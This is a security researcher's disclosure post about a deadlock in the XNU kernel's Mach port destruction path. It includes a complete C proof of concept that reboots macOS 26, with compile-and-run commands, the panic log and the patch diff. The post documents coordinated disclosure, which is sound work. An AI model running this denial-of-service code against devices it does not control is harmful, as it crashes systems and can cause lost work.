Nicolas Seriot
Security > IPC Panic
2026-09-16
For years, four Mach calls could reboot macOS and iOS devices because two lines in XNU were in the wrong order.
A four-call kernel panic
In short, IPC means inter-process communication, and Mach ports carry messages between processes. A port owner can request a kernel notification when the last send right disappears. Here, the notification is sent to the same port while it is being destroyed.
#include <mach/mach.h>
int main(void) {
mach_port_t task = mach_task_self();
mach_port_t port = MACH_PORT_NULL;
mach_port_t previous = MACH_PORT_NULL;
// 1. Create a port.
mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &port);
// 2. Give ourselves a send right.
mach_port_insert_right(task, port, port, MACH_MSG_TYPE_MAKE_SEND);
// 3. Ask the kernel to send a no-senders notification to that same port.
mach_port_request_notification(
task, port, MACH_NOTIFY_NO_SENDERS, 0,
port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &previous);
// 4. Destroy the port, removing the last sender.
mach_port_destruct(task, port, -1, 0);
return 0;
}
Save this code as ipc_poc.c and run on macOS 26:
cc -o ipc_poc ipc_poc.c
./ipc_poc
The machine panics and reboots.
The bug
mach_port_destruct() locks the port and drops the last send right.
That fires the notification, which tries to lock the same port again.
The port is unlocked only by ipc_port_destroy(), which never runs.
Call path:
mach_port_destruct()
ipc_right_destruct()
ip_mq_lock(port) // lock the port
ipc_notify_no_senders_emit() // fire notification
ipc_kmsg_send()
ip_mq_lock(port) // try to lock it again: deadlock
ipc_port_destroy(port) // ** never reached **
The kernel times out and panics:
panic(cpu 4 caller 0xfffffe004dc480d4): waitq(0xfffffe1876d80980) lock timeout
after 12000736 ticks; cpu=4, cticket: 0x4, nticket: 0x6, waiting for 0x5,
timeout: 12000000 @waitq.c:700
Panicked task 0xfffffe1d2b36e490: 83 pages, 1 threads: pid 2787: ipc_poc
The fix
The fix is to send the notification at the bottom of ipc_right_destruct(), after ipc_port_destroy() drops the lock:
/* Unlock space */
is_write_unlock(space);
- ipc_notify_no_senders_emit(nsrequest);
ipc_port_destroy(port); /* clears receiver, consumes ref, unlocks */
+ ipc_notify_no_senders_emit(nsrequest);
if (request != IP_NULL) {
ipc_notify_port_deleted(request, name);
}
The code looks correct at first glance because it does contain an unlock just before the notification. But that unlock releases the IPC space, not the port. The same ordering appears in every published version I checked, so the bug had probably been present for years.
Not a security bug
This is a reliable local denial of service, but Apple classified it as non-security: it crashes the system without disclosing data or granting extra privileges.
Timeline
- 2026-07-31: reported as
OE1106924213510 - 2026-09-14: addressed and credited with no CVE in macOS 27, iOS and iPadOS 27, watchOS 27 and visionOS 27 release notes.
The affected platforms share the same kernel code, so one change fixed them all.